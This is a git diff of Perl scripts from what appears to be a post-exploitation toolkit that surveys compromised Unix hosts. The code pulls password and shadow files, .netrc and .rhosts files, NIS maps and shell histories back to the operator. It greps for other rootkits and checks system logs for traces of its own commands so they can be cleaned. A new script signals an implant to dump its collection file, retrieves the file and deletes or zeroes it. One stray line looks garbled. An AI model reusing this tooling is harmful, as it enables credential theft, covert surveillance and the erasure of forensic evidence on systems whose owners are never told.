(@outputdev) { + next unless $line =~ + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d+\s+\d+:\d+\s+\d{4}\s+(.*($str).*),; + if ($line =~ m,^l.*\d{4} (/dev/.*) -[\.\>\-] (.*),) { + my ($outputdev2,$nopenlines,@outputdev2) = + nopenlss("-U","-Qd", + "/dev/$2" + ); + next if $outputdev2 =~ /^c/; + } + $es = "es" if $more; + $more .= "$line\n"; + } + if ($more) { + $devoutput .= $COLOR_FAILURE. + "# In /dev, match$es of \"$str\" ($comment):\n". + $COLOR_NORMAL. + $more; + } + } + if ($devoutput) { + offerabort($COLOR_FAILURE. + "# /dev ISSUES\n\n". + $COLOR_NORMAL. + $devoutput. + $COLOR_FAILURE. + "\n\n". + "# Check of /dev shows the issues above."); + } + tickleifneedbe($builtinsonly); + doit( + "# t0rn rootkit or Lion Worm", + "-lsh egrep \"libproc.a|1i0n.sh\" $findfile", + ); + tickleifneedbe($builtinsonly); + doit( + "# ark", + "-lsh grep ptyxx $findfile", + "#-lsh grep '.ark.*' $findfile", + ); + tickleifneedbe($builtinsonly); + doit( + "# rk17", + "-lsh egrep '(rtty|squit|pback|psid|kset|autod.o|gib|number.cgi|void.cgi|last.cgi)' $findfile", + ); + tickleifneedbe($builtinsonly); + doit( + "# rsha", + "-lsh egrep '(kr4p|n3stat|chsh2|alpha/lib/.lib)' $findfile", + ); + tickleifneedbe($builtinsonly); + doit( + "# ShitC Worm", + "-lsh egrep '(frgy|in.slogind)' $findfile", + ); + tickleifneedbe($builtinsonly); + doit( + "# Omega Worm", + "#-lsh grep chr $findfile", + ); + tickleifneedbe($builtinsonly); + doit( + "# rh-sharpe", + "#-lsh egrep '(lpstree|lkillall|ldu|lnetstat)' $findfile", + "-lsh egrep '(lpstree|lkillall|ldu|lnetstat)' $findfile", + ); + tickleifneedbe($builtinsonly); + my $oddfiles = "$opdown/survey.oddfilesinfind.$nopen_rhostname"; + preservefile($oddfiles); + my $X = "${COLOR_WARNING}X$COLOR_NORMAL"; + my $TTTAABBB = "${COLOR_MYRED}T$COLOR_NORMAL"; + doit( + "# misc suspicious files in local *find: ANY SPACES OR DOT-COMMA OR COMMA-DOT OR PIPES OR DOT-DOT-DOT OR COULDNOTGETTABSTOWORKRIGHT TO TMPFILE", + "-lsh egrep \"[^/]* .*/(\\\ |\\\\||.,|,.|\\\\.\\\\.\\\\.\\\\.*/)\" $findfile | tee $oddfiles", + ); + if (-s $oddfiles) { + progprint($COLOR_FAILURE."\n\n\nODD FILES IN FIND\n\n\nODD FILES IN FIND"); + sleep 3; + doit( + "# $oddfiles with SPACES shown as $X and TABS as $TTTAABBB", + "-lsh sed \"s, ,$X,g\" $oddfiles | sed \"s,\\\\t,$TTTAABBB,g\" ; echo === ; echo TMPFILE=$oddfiles ; echo === ; cat $oddfiles", + ); + sleep 3; + offerabort($COLOR_FAILURE."ODD FILES IN FIND\n\nABOVE WE REPLACED ALL SPACES WITH $X AND TABS AS $TTTAABBB TO COMPARE WITH $oddfiles"); + } + tickleifneedbe($builtinsonly); +} +#END gsrootkit + +sub gsident { + #nopengetfiles("SIZEMAX=20000", + nopenlss("-${forcepull}GYZM20000", + "/etc/*release*", + "/etc/*redhat*", + "/etc/*debian*", + "/usr/lib/setup/*slack*version*", + "/etc/*slack*version*", + "/etc/*issue*", + "/etc/motd*", + ); + + my @releasefiles = split(/\n/,`ls -cart $opdown/$nopen_rhostname/etc/*{release,issue,motd,slack,redhat,debian}* | sort -u`); + my ($content,%donealready) = (); + foreach my $file (@releasefiles) { + if (-s $file) { + my $sum = `cat $file | md5sum`; + next if $donealready{$sum}++; + $content .= "$file\n". + "\n". + '#' x 80 . + "\n". + `cat $file`. + '#' x 80; + filepopup($file,"-geometry 88x10+25+$popupoffset -bg white -fg blue",noage); + $popupoffset += 180; + } + } + progprint(".\n\n". + "Just popped up the following files, content shown here also:\n\n". + $content. + ""); +} +#END gsident + +sub gshardware { + # Check to see what OS we are. + if ($linuxtarget) { + # This code is deprecated; the kernel symbols are retrieved elsewhere now. + #my $ksymstofile = " >>T:/current/.k.tmp" unless $skipping; + #doit( + # "${skipping}/sbin/ksyms -a$ksymstofile", + # "${skipping}-lsh echo \"[/sbin/ksyms -a]\" >> /current/down/linuxstats.cmdout.$nopen_rhostname ; cat /current/.k.tmp >> /current/down/linuxstats.cmdout.$nopen_rhostname ; rm /current/.k.tmp", + # ); + + # Call autokernelstuff.linux to get the kernel-related files from the target. + my @autoargv = ($forcepull2); + mydo("autokernelstuff.linux",@autoargv); + + # Also retrieve bootloader-related files. + nopenlss("-UFQzZRGYM100000", + "/boot/lilo.conf*", + "/boot/grub.conf*", + "/boot/grub/grub.conf*", + "/boot/grub/menu.lst*", + "/boot/grub/device.map*", + "/etc/lilo.conf*", + "/etc/grub.conf*", + "/etc/grub.d/*", + ); + my ($ans) = mygetinput + ("About to run sysctl -a. That may generate kernel logs matching:\n". + " kernel.*sysctl\n\n". + "which may also show up in /var/log/messages or elsewhere, as well.\n\n". + "You will be shown a BEFORE and AFTER grep on /var/log/* looking for\n". + "kernel.*sysctl.\n\n". + "You can SKIP this if you want to avoid that cleaning.\n\n". + "ontinue or kip it?","C","S","CONTINUE","SKIP"); + unless ($ans eq "s") { + progprint($COLOR_FAILURE. + "\n\n\nLOGS MATCHING \"sysctl\" BEFORE\n\n\n"); + my (%loggedinbefore, + @loggedinbefore, + @loggedinafter, + %cleanmatches, + ) = (); + my (undef,undef,@loggedinbefore) = doit("grep -l kernel.*sysctl /var/log/*"); + for my $logfile (@loggedinbefore) { + $loggedinbefore{$logfile}++; + my (undef,undef,@matches) = doit("grep kernel.*sysctl $logfile"); + foreach my $match (@matches) { + $cleanmatches{$match}++; + } + } + sleep 3; + doitwrite("sysctl -a ; echo"); + my (undef,undef,@loggedinafter) = doit("grep -l kernel.*sysctl /var/log/*"); + my $warning = ""; + for my $logfile (@loggedinafter) { + $loggedinbefore{$logfile}++; + my (undef,undef,@matches) = doit("grep kernel.*sysctl $logfile"); + foreach my $match (@matches) { + next if $cleanmatches{$match}; + $warning .= "$match\n"; + } + } + my (undef,undef,@dmesgoutput) = doitwrite("dmesg ; echo"); + progprint($COLOR_FAILURE. + "\n\n\nLOGS MATCHING \"sysctl\" AFTER\n\n\n"); + @dmesgoutput = grep /kernel.*sysctl/ , @dmesgoutput; + if ($warning) { + $warning .= "\n\n". + "and these lines are now in dmesg output, as well:\n\n". + join("\n",@dmesgoutput). + "\n\n" if @dmesgoutput; + offerabort + ($COLOR_FAILURE. + "WARNING: These log lines seem to be from just now running sysctl -a.\n$COLOR_NORMAL\n". + $warning. + "Either abort here to clean them now, or use another window to do so.\n". + "Also note the dmesg output cannot be partially cleaned, though a \"dmesg -c\"\n". + "will print and then WIPE the contents of that ring buffer. You need\n". + "permission to do that.". + ""); + } else { + progprint($COLOR_FAILURE. "NONE match kernel.*sysctl."); + sleep 3; + } + } + } elsif ($solaristarget) { + # check to see if the PID of init is 1 + if ($sol10target) { + #dbg("in autosurvey gshardware, solaristarget =$solaristarget=, sol10target =$sol10target="); + my $line=""; + my @lines; + unless (-s "$opdown/ps.$nopen_rhostname") { + # If none yet, we want one. offerabort() if we are supposed to skip + if ($skipping) { + offerabort + ("You are on a Solaris 10 target, and chose to skip non-builtins.\n". + "However, on Solaris 10, we need to do a =ps to see if init is 1.\n" + ); + } + doit("=ps >T:$opdown/ps.$nopen_rhostname"); + } + sleep 5; + if (-s "$opdown/ps.$nopen_rhostname") { + # use the existing ps output to find our inits + #dbg("in autosurvey gshardware, reading ps.$nopen_rhostname"); + open PSIN,"<$opdown/ps.$nopen_rhostname" or mydie("Unable to read ps list"); + foreach my $initline () { + my @fields = split(/\s+/,$initline); + next unless $initline =~ /\d:\d\d\s+(\/\S+(\/){0,1}){0,1}init\s*.*$/i; + #next unless @fields[scalar @fields - 1] =~ /init/i; + #dbg("in autosurvey gshardware, found init line =$initline="); + push @lines,$initline; + } + close PSIN; + } +# else { +# # get a fresh listing with just the init lines +# #dbg("in autosurvey gshardware, running ps"); +# my ($output,$nopenlines,@output) = doit( +# "${skipping}=ps | grep init | grep -v grep", +# ); +# foreach my $initline (@output) { +# next unless $initline =~ /\d:\d\d\s+(\/\S+(\/){0,1}){0,1}init\s*.*$/i; +# my @fields = split(/\s+/,$initline); +# next unless @fields[scalar @fields - 1] =~ /init/i; +# #dbg("in autosurvey gshardware, found init line =$initline="); +# push @lines,$initline; +# } +# } + my @pids; + #my @imagepaths; + my $count=0; + my $nowarningtext=0; + # check each entry of the array for a PID of 1 + foreach $line (@lines) { + my $tmpline = $line; + $tmpline =~ s/^\s+// ; + my @fields = split(/\s+/,$tmpline); + # grab the second field, we don't need the image name anymore + my $pid = @fields[1]; + #my $imagepath = @fields[scalar @fields - 1] if @fields[$#fields] =~ /init/i; + #dbg("in autosurvey gshardware, pid =$pid=, imagepath =$imagepath="); + $count++ unless $pid == 1; + push @pids,$pid; + #push @imagepaths,$imagepath; + } + dbg("in autosurvey gshardware, count of extra init pids =$count="); + + my $warningtext="$COLOR_FAILURE + +The PID of /sbin/init is not 1; "; + if ($count == 1) { + $warningtext .= "it is @pids[1]"; + } + elsif ($count > 1) { + $warningtext .= "the PIDs of multiple init processes are "; + foreach my $pid (@pids) { $warningtext .= "$pid "; } + } + $warningtext .= "\n$COLOR_NORMAL + +You may be inside a Solaris 10 zone.\n"; + + # now check to see if there is not at least one PID of 1 in the array + foreach my $pid (@pids) { + next if $pid > 1; + $nowarningtext++; + last; + } + offerabort($warningtext) unless $nowarningtext; + } + + preservefile("$optargetcommands/pkginfo.$nopen_rhostname"); + preservefile("$optargetcommands/showrev.all.$nopen_rhostname"); + my $pkginfotofile = " >L:/$opdown/pkginfo.$nopen_rhostname" unless $skipping; + my $showrevtofile = " >L:/$opdown/showrev.all.$nopen_rhostname" unless $skipping; + doit( +# "${skipping}eeprom", +# "${skipping}isainfo -bv", +# "${skipping}isainfo -kv", +# "${skipping}isainfo -nv", + "${skipping}isalist", + "# pkginfo NO LONGER PRINTED TO SCREEN", + "${skipping}pkginfo$pkginfotofile", + "${skipping}psrinfo -v", + "${skipping}showrev", + "# showrev -a NO LONGER PRINTED TO SCREEN", + "${skipping}showrev -a$showrevtofile", +# "${skipping}prtconf -V", + "-cat /etc/dfs/dfstab", + ); + unless ($builtinsonly) { + my @baddirs = + ( + "/", + "/lib", + "/var", + "/usr", + ); + ($shareout,$nopenlines,@shareout) = doit("share"); + my $prepend = ".\n\n\n\n${COLOR_FAILURE}NOTE:${COLOR_NORMAL} The following partitions are shared via NFS:\n\n"; + my $list = ""; + my $append = "\n\n${COLOR_FAILURE}WARNING: Potentially bad NFS shares are colored red above.\n\n"; + my $showwarning = 0; + foreach $line (@shareout) { + #dbg("in autosurvey gshardware, got line =$line="); + next unless $line =~ /\s+(\/\S*)\s+(\S+=?)\s+("?\S*"?).*$/; + #dbg("in autosurvey gshardware, got line from share: \$1 = =$1=, \$2 = =$2=, \$3 = =$3="); + my $typestring = "read-only"; + my $type = $2; + my $dir = $1; + my $desc = $3; + $typestring = "read-write" if $type =~ /rw=?.*/; + #dbg("in autosurvey gshardware, showing line: =$dir= =$typestring= =$desc="); + if (grep {/$dir/} @baddirs) { + $showwarning++; + $list .= "\t\n${COLOR_FAILURE}$dir is shared $typestring"; + } + else { + $list .= "\t\n$dir is shared $typestring"; + } + unless ($desc == "") { + $list .= " (description: $desc)"; + } + } + $list .= "${COLOR_NORMAL}\n\n\n"; + if ($shareout) { + my $text = ""; + $text .= "$prepend$list"; + $text .= "$append" if $showwarning; + progprint("$text"); + } + } + } + elsif ($hpuxtarget) { + doitwrite( + "${skipping}/opt/ignite/bin/print_manifest", + "${skipping}swapinfo -t", + ); + doit( + "-ls /etc/loadmods", + "-cat /etc/loadmods", + ); + } + elsif ($aixtarget) { + doit( + "${skipping}oslevel", + "${skipping}lslpp -L all", + "${skipping}genkex", + "${skipping}lscfg -v", + "${skipping}lsattr -EHl sys0", + "${skipping}lsattr -EHl proc0", + "${skipping}bootinfo -T", + "${skipping}bootinfo -y", + "-ls /usr/lib/boot", + "-cat /etc/inittab", + "-ls /usr/lib/drivers/", + "${skipping}prtconf", + ); + } + + # All platforms get a -gs arp in survey mode, without -P so they get popups + mydo("autoarp") + unless ($builtinsonly); + +} +#END gshardware + +sub gsgets { + # NOTE: Some Linux systems prepend and append characters to the names + # of the passwd and shadow files. + # Adding wildcards to those names should ensure that they are retrieved. +# my @getfiles = +# nopengetfiles("TAILBYTESSIZEMAX=200000",@getfiles); + nopenlss("-${forcepull}GUoRM200000","-T${maxbw}", + "/.netrc", + "/.rhosts", + "/etc/aliases", + "/etc/dfs/dfstab", + "/etc/exports", + "/etc/fstab", + "/etc/ftpusers", + "/etc/group", + "/etc/host.conf", + "/etc/hosts", + "/etc/hosts.allow", + "/etc/hosts.deny", + "/etc/hosts.equiv", + "/etc/inetd.conf", + "/etc/inet/inetd.conf", + "/etc/inet/hosts", + "/etc/nsswitch.conf", + "/etc/*issue*", + "/etc/mail/aliases", + "/etc/mail/sendmail.cf", + "/etc/master.passwd", + "/etc/mnttab", + "/etc/nsswitch.conf", + "/etc/*passwd*", + "/etc/postfix/main.cf", + "/etc/*release*", + "/etc/rmtab", + "/etc/security/passwd", + "/etc/sendmail.cf", + "/etc/*shadow*", + "/etc/syslog.conf", + "/etc/vfstab", + "/etc/xinetd*", + "/var/adm/messages", + "/var/log/syslog", + "/var/log/messages", + ); + + + # Set up to collect more .netrc files. + my ($userlist,@userdirs) = parseuserdirs($nopen_rhostname,2000,"the gsgets() survey"); + unless (@userdirs) { + offerabort + ("$COLOR_FAILURE\n". + "No list of remote users....has the \"-gs auto\" (a.k.a. autodone) been\n". + "done yet? If not, you may want to abort here then re-run -gs survey\n". + "once autodone has completed.". + ""); + } + @getfiles = (); + my $maxsize = 32768; + foreach my $dir (@userdirs) { + push(@getfiles, + "$dir/.netrc", + ); + } + #nopengetfiles("SIZEMAX=$maxsize GETZERO=1", @getfiles); + nopenlss("-${forcepull}GM$maxsize", @getfiles); + + # Set up to find and collect the rest of the .netrc files. + @getfiles = (); + ($netrcgrep,$nopenlines,@netrcgrep) = doit("-lsh -nohist egrep \"\.netrc\" $opdown/cmdout/${nopen_rhostname}-find"); + foreach $line (@netrcgrep) { + #dbg("in autosurvey gsgets, checking line =$line="); + next unless $line =~ /.*\s\|\s(\/.*\/\.netrc)$/; + next if grep {/$1/} @getfiles; + #dbg("in autosurvey gsgets, pushing path =$1="); + push(@getfiles,$1); + } + #nopengetfiles("SIZEMAX=$maxsize GETZERO=1",@getfiles); + nopenlss("-${forcepull}GM$maxsize",@getfiles); + + # Look for and download potential NIS maps on target. + $maxsize = 10485760; + nopenlss("-${forcepull}GUzZoR","-T${maxbw}","-M$maxsize", + "/var/yp"); + + if ($freebsdtarget) { + nopenlss("-${forcepull}GYFM100000", + "/etc/hosts*", + "/etc/syslog.conf", + "/etc/inetd.conf", + "/etc/resolv.conf", + "/etc/passwd*", + "/etc/shadow*", + "/etc/rc.conf", + "/boot/loader.conf", + "/var/etc/hosts*", + "/var/log/messages*", + ); + my ($bsduname) = doitwrite("uname -v"); + if ($bsduname) { + my $gotkernel = 0; + my ($hostname) = doitwrite("hostname -s"); + my ($kernel) = doit("sysctl kern.bootfile ; echo"); + chomp($kernel); + my $size = 500*1024*1024; + if (grep /$hostname/i, $bsduname) { + #my ($stamp) = doit("-ls -n $kernel"); + ($kernel) = $kernel =~ m,bootfile: (\/.*),; + progprint($COLOR_FAILURE."\n\nPulling the target's$COLOR_NOTE CUSTOM$COLOR_FAILURE kernel\n\n"); + nopenlss("-${forcepull}GYFM$size",$kernel); + #doit($stamp); + $gotkernel++; + } + nopenlss("-${forcepull}GYFM$size",$kernel) + unless ($gotkernel or $bsduname =~ /RELEASE/); + } + } + +} +#gsgets + +sub gsls { + nopenlss("-UQ", + "/etc", + "/etc/mail","/etc/sendmail*","/etc/postfix", + ); + nopenlss("-UQ", + "/usr/local","/usr/local/bin","/usr/local/src", + ); + nopenlss("-UQ", + "/var/lib/mysql", + "/var/yp", + ); +} +#gsls + +sub gsdns { + my @getdns = + ( + "/etc/bind*", + "/etc/named*", + "/etc/*ndc*", + "/usr/local/etc/named*", + "/var/named*", + "/var/run/named*", + ); + my @getdnsextra = + ( + "/var/log/bind*", + "/var/log/named*", + ); + + nopenlss("-UQ", + "/sbin/named*","/usr/sbin/named*","/usr/local/sbin/named*", + "/sbin/*ndc*","/usr/sbin/*ndc*","/usr/local/sbin/*ndc*", + ); + + # Retrieve all of the DNS-related files at the paths shown above. + nopenlss("-${forcepull}GUzZoR","-M5242880","-T${maxbw}",@getdns); + nopenlss("-${forcepull}GUzZoR","-M5242880","-T${maxbw}",@getdnsextra); +} +#gsdns + +sub gshistories { + # Now using require autohistories after setting @ARGV to our -histories arguments. + my @orig = @ARGV; + @ARGV = ("-xa0"); + require "$opetc/autohistories"; +#dbg("After require$opetc/autohistories"); + # equivalent of: + #doit("-gs histories -xa0"); + @ARGV = @orig; +} +#gshistories + +sub gschecksyslogs { + my @syslogfiles = sort + split(/\n/,`find $opdown/$nopen_rhostname -type f 2>/dev/null| grep syslog.*conf`); + my $logcontent = ""; + my %donesums = () ; + my @odddirs = (); + foreach $syslogfile (@syslogfiles) { + chomp(my $sum = `sum $syslogfile`) ; + next if ($sum and $donesums{$sum}++) ; + my $shortname = $syslogfile; + $shortname =~ s/.*$nopen_rhostname//; + $logcontent .= + $COLOR_FAILURE. + "\n#$COLOR_NOTE from $shortname\n". + $COLOR_FAILURE. + '#' x 80 . + $COLOR_NORMAL. + "\n"; + if (open(IN2,"< $syslogfile")) { + while () { + next if !$_ or /^\s*\#/ ; # skip comments and empties + if (my ($dir) = m,\s(/.*)/[^/]*\s*$,g) { + s/$1/$COLOR_FAILURE$dir$COLOR_NORMAL/g; + unless (($dir =~ m,/var/(log|adm)$,) or ($dir =~ m,/dev$,)) { + push(@odddirs,$dir); + } + } + $logcontent .= $_; + } + close(IN2); + } + } + my $oddcontent = ""; + $logdirfile = "$optmp/.logdirs.$nopen_rhostname" ; + if (@odddirs) { + # Highlighting directory names we did not expect to see, + # also adding them to $logdirfile. -gs logcheck uses this + # to do its listings. + $oddcontent = + "$COLOR_FAILURE\n". + '#' x 80 . + "#\a UNUSUAL DIRECTORIES BEING LOGGED TO:\n". + "# (Added to $logdirfile)\n". + '#' x 80 .$COLOR_NORMAL."\n ". + join("\n ",uniqify_array(@odddirs)); + my @therealready = split(/\s+/, + `cat $logdirfile 2>/dev/null`); + if (open(OUT2,">$logdirfile")) { + foreach (uniqify_array(@therealready,@odddirs)) { + print OUT2 "$_\n"; + } + } + close(OUT2); + } + if ($oddcontent) { + progprint($oddcontent); + doit("-beep 5"); + offerabort + (".$COLOR_FAILURE.\n\n". + '#' x 80 . "\n" . + "#$COLOR_NOTE syslog.conf content from $nopen_rhostname:$COLOR_FAILURE\n". + '#' x 80 . "\n" . + $COLOR_NORMAL . + $logcontent . + $oddcontent."\n$COLOR_NOTE\n". + "(Logs check is next if you continue.)". + ""); + } else { + # Here we pause only if they did not use -Y/$nopauses + progprint + (".$COLOR_FAILURE.\n\n". + '#' x 80 . "\n" . + "#$COLOR_NOTE syslog.conf content from $nopen_rhostname:$COLOR_FAILURE\n". + '#' x 80 . "\n" . + $COLOR_NORMAL . + $logcontent . + $oddcontent. + "") if $nopauses; + offerabort + (".$COLOR_FAILURE.\n\n". + '#' x 80 . "\n" . + "#$COLOR_NOTE syslog.conf content from $nopen_rhostname:$COLOR_FAILURE\n". + '#' x 80 . "\n" . + $COLOR_NORMAL . + $logcontent . + $oddcontent. + "") unless $nopauses; + } + # Now using require autologcheck after setting @ARGV to our -logcheck arguments. + my @orig = @ARGV; + @ARGV = ("-P"); + require "$opetc/autologcheck"; + @ARGV = @orig; +} +#gschecksyslogs + +sub skipordo { + local ($type) = (@_); + my $subtocall = "gs$type"; + my ($dotypes,$skiptypes)= ""; + foreach my $type (@surveytypes) { + $dotypes .= " $type" unless $skip{$type}; + $skiptypes .= " $type" if $skip{$type}; + } + $skiptypes = "\n(default of kip for$COLOR_NOTE$skiptypes$COLOR_FAILURE)" if $skiptypes; + my $default = "C"; + $default = "S" if !$doover and $surveysalreadydone{$type}; + $default = "S" if $skip{$type}; + my $more = $COLOR_FAILURE. + "Proceeding with the following survey types$skiptypes:\n\n". + " $dotypes\n\n". + "(To avoid these \"About to run\" prompts, use -Y option or enter \"Y\" here.)\n$COLOR_NORMAL\n" + unless $firsttime++; + my $more2 = "$COLOR_FAILURE (which has been done already)$COLOR_NORMAL" + if $skip{$type}; + my ($ans,$longans) = ("S") if $skip{$type}; +# unless ($doover or !$skip{$type} or $nopauses) { +# $extraoutput = "$COLOR_FAILURE\n". +# "Skipping these survey types already done before:" +# unless $extraoutput; +# $extraoutput .= "\n\t$type"; +# } + return 0 if ($nopauses and !$doover and $skip{$type}); +#progprint +# ("$extraoutput$COLOR_NORMAL\n\n". +# $more. +# "About to run gs$type() check. You can\n". +# " kip gs$type(),\n". +# " ontinue or\n". +# " bort remaining survey\n". +# "Choose:",); + ($ans,$longans) = + mygetinput + ("$extraoutput$COLOR_NORMAL\n\n". + $more. + "About to run gs$type() check. You can\n". + " kip gs$type(),\n". + " ontinue or\n". + " bort remaining survey\n". + "Choose:", + $default, + "C","S","Y","A") + unless $nopauses; + $extraoutput = ""; + $aborting++ if $ans eq "a"; + $nopauses++ if $ans eq "y"; + return 0 if $aborting; + if ($ans eq "s") { + return 0; + } + $donecount++; + dbg("ans=$ans longans=$longans= before $subtocall before date"); + &$subtocall(); + dbg("ans=$ans longans=$longans= after $subtocall before date"); + `date > $optmp/.survey.${type}done.$nopen_rhostname`; + return 1; +} +#skipordo + diff --git a/Linux/etc/autoswkill b/Linux/etc/autoswkill new file mode 100755 index 0000000..e7f60a9 --- /dev/null +++ b/Linux/etc/autoswkill @@ -0,0 +1,285 @@ +#!/usr/bin/env perl +## +$VER="2.0.1.2" ; +# nopen seems happier with stderr in lsh runs +#select STDERR ; +$| = 1 ; + +# The location of the STRIFEWORLD collection file +# and the STRIFEWORLD PID. +my $swdir = ""; +my @swpidargv = (); + +my $pullfile = 0; +my $deletefile = 0; +my $zerofile = 0; + +myinit(); + +# Get our current working directory and other useful stuff. +($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid, + $localppid,$serverver,$wdir,$targetos,$targetcwd,$thispid, + $targetppid,$targetport,$localport,@statusoutput) = parsestatus(); + +#dbg("in autoswkill, using either cwd =$targetcwd= or dir =$swdir="); + +# Verify that the kill command is in our $PATH. +($output,$nopenlines,@output) = nopenlss("-UFP","kill"); +foreach $filelisting (@output) { + ($filename) = grep m, /.*/kill$, , split(/\n+/,$filelisting); +#dbg("in autoswkill, got filename =$filename="); + mydie("kill command is not in the $PATH, bailing") unless ($filename); +} + +# Build our PID grep string from the array of PIDs given. +my $pidgrep = "@swpidargv"; +$pidgrep =~ s/ / | /g; +$pidgrep = " $pidgrep "; + +# Find the STRIFEWORLD PID on target. +my (@swpids,%swlines, + %nopenplines, + @psoutput) = (); +$ignorefreebsdsetting=1; +($output,$nopenlines,@psoutput) = doit("=ps"); +findpidsfor($pidgrep, + \%swlines, + \%nopenplines, + "", + @psoutput, + ); +@swpids = keys %swlines; +#dbg("in autoswkill, got swpids =@swpids="); + + +mydie("PIDs not found: $pidgrep") + unless (@swpids); + +# Get the STRIFEWORLD directory listing. +my $dir = $targetcwd; +$dir = $swdir if (length $swdir); +($output,$nopenlines,@output) = nopenlss("-UFQ","$dir"); +#dbg("in autoswkill, output = =@output="); +my $beforeoutput = "$output[-3]\n"."$output[-2]\n"."$output[-1]\n"; +my $beforefile = $1 if $output[-1] =~ m, .*$dir/(\S+)$,; + + +# Show the STRFIEWORLD PID line to the user. +my $listing = join("\n",uniqify_array(values %swlines)); + +progprint( + ".\n\n". + "The following STRIFEWORLD instances are currently running on target:\n\n${COLOR_NORMAL}". + $listing. + ""); + +progprint( + ".\n\n". + "${COLOR_NOTE}Directory listing of ${COLOR_FAILURE}$dir${COLOR_NOTE} prior to sending SW kill commands:${COLOR_NORMAL}\n\n". + $beforeoutput. + ""); + +my $killlist = ""; +foreach $pid (@swpids) { + $killlist .= sprintf("kill -USR1 %d ; sleep 1 ; kill -USR2 %d ; sleep 2\n",$pid,$pid); +} + +progprint( + ".\n\n". + "${COLOR_NOTE}Sending the following SW kill commands to this STRIFEWORLD instance:${COLOR_NORMAL}\n\n". + $killlist. + "\n"); + +my $finaloutput = ""; + +foreach $pid (@swpids) { + # Do the first set of kills. + ($output,$nopenlines,@output) = doit("kill -USR1 $pid ; sleep 1 ; kill -USR2 $pid ; sleep 2"); + + # Do the second set of kills. + ($output,$nopenlines,@killoutput) = doit("kill -USR1 $pid ; sleep 1 ; kill -USR2 $pid ; sleep 2"); + @killoutput = (@output,@killoutput); + + # Get the STRIFEWORLD directory listing again. + # NOTE: This will NOT find the new stuff if they have + # some badly dated future file in the directory. + ($output,$nopenlines,@output) = nopenlss("-UF","$dir"); + #dbg("in autoswkill, output = =@output="); + my $afteroutput = "$output[-3]\n"."$output[-2]\n"."$output[-1]\n"; + my $afterline = $output[-1]; + my ($afterfilesize,$afterfile) = + $afterline =~ m,^\D+\s\d+\s\D+\s(\d+)\s+.* .*$dir/(\S+)$,; + + my $waitcount = 4; + if ($beforefile ne $afterfile and + $afterfilesize == 0) { + progprint(".\n\n\nDelaying up to 8 seconds until file has some size..."); + sleep 3; + while ($waitcount-=2 > 0 and + $beforefile ne $afterfile and + $afterfilesize == 0) { + ($afterline,$nopenlines,@output) = nopenlss("-UF","$dir/$afterfile"); + ($afterfilesize,$afterfile) = + $afterline =~ m,^\D+\s\d+\s\D+\s(\d+)\s+.* .*$dir/(\S+)$,; + sleep 1; + } + } + sleep 1; + my $warn = ""; + foreach $line (@killoutput) { + #dbg("in autoswkill, got line =$line="); + $warn .= $_ if $line; + } + if ($warn) { + mywarn("Got bad output from the kill command:\n$warn"); + sleep 4; + next; + } + + progprint( + ".\n\n". + "STRIFEWORLD instance on target:\n\n${COLOR_NORMAL}". + $listing. + "\n\n". + "${COLOR_NOTE}Directory listing of ${COLOR_FAILURE}$dir ${COLOR_NOTE} after sending SW kill commands:${COLOR_NORMAL}\n\n". + $afteroutput. + ""); + + # If the last entry in the dir outputs isn't the same, we probably have our new file. + dbg("in autoswkill, beforefile = =$beforefile=, afterfile = =$afterfile="); + if ($beforefile ne $afterfile) { + $listing = ".\n\n". + "${COLOR_NOTE}Located STRIFEWORLD collect file ${COLOR_FAILURE}$afterfile${COLOR_NOTE} ". + "in directory listing:${COLOR_FAILURE}\n\n$afterline${COLOR_NORMAL}". + ""; + + my $extraoutput = ""; + if ($pullfile) { + if ($afterfilesize == 0) { + my $more = "/zeroing" if $zerofile; + my $deletemore = "\n$COLOR_FAILURE\nRemoving it (if you answer YES)." + if $deletefile; + progprint($listing. + "\n${COLOR_NOTE}\n". + "Not retrieving$more 0 byte file from target, no need.". + $COLOR_NORMAL. + $deletemore); + doit("-rm $dir/$afterfile") if $deletefile; + next; + } else { + $extraoutput = "\n\n". + "${COLOR_NOTE}Retrieving $afterfilesize byte file from target and storing it in ". + "${COLOR_FAILURE}$opsniff${COLOR_NORMAL}"; + $extraoutput .= + "\n\n\t${COLOR_FAILURE}(truncating file after retrieval)${COLOR_NORMAL}" + if ($zerofile); + } + } + + $listing .= $extraoutput; + progprint($listing); + + # Now get the file from target. + next unless ($pullfile and $afterfilesize); + @nopengotfiles = (); + my @lssargs = ("-T50","-UFQGL$opsniff"); + push(@lssargs,"-D") if $deletefile; + nopenlss(@lssargs, + "$dir/$afterfile", + ); + + doit("cat /dev/null > $dir/$afterfile") if $zerofile; + } else { + my $msg = "No new file appeared after kill sequence on $pid."; + $finaloutput .= $COLOR_FAILURE.$msg."$COLOR_NORMAL\n"; + mywarn($msg); + sleep 3; + } +p} + +progprint(".\n\n\n".$finaloutput); + +# End with true value as we require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs swkill @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog =~ s/^auto/-gs /; + $| = 1; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"-gs swkill\" is used. + +"; + $gsusagetext="Usage: -gs swkill [OPTIONS] PID1 [ PID2... ] + +-gs swkill sends the right sequence of kill commands to one or more instances +of STRIFEWORLD to cycle their output. It also does a before and after directory +listing in the current working directory (or another directory on target, +if specified), showing the new output file(s) dumped from STRIFEWORLD. + +The kill commands sent to STRIFEWORLD, in order, are: + + kill -USR1 NN; sleep 1; kill -USR2 NN; sleep 2 + kill -USR1 NN; sleep 1; kill -USR2 NN; sleep 2 + +OPTIONS + + -h/-v Show help/Show version + -d dir Do the file listings in this directory instead of NOPEN's + current working directory + -g If an output file is found, prompt to retrieve it from + target and store it in $opsniff + -D DELETE the output file from target after retrieving it + -z Zero out the file using \'cat /dev/null\' instead of + deleting it from target + +"; + mydie("bad option(s)") if (! Getopts( "hvd:gDz" ) ) ; + + # Get the STRIFEWORLD directory and PIDs. + $swdir = 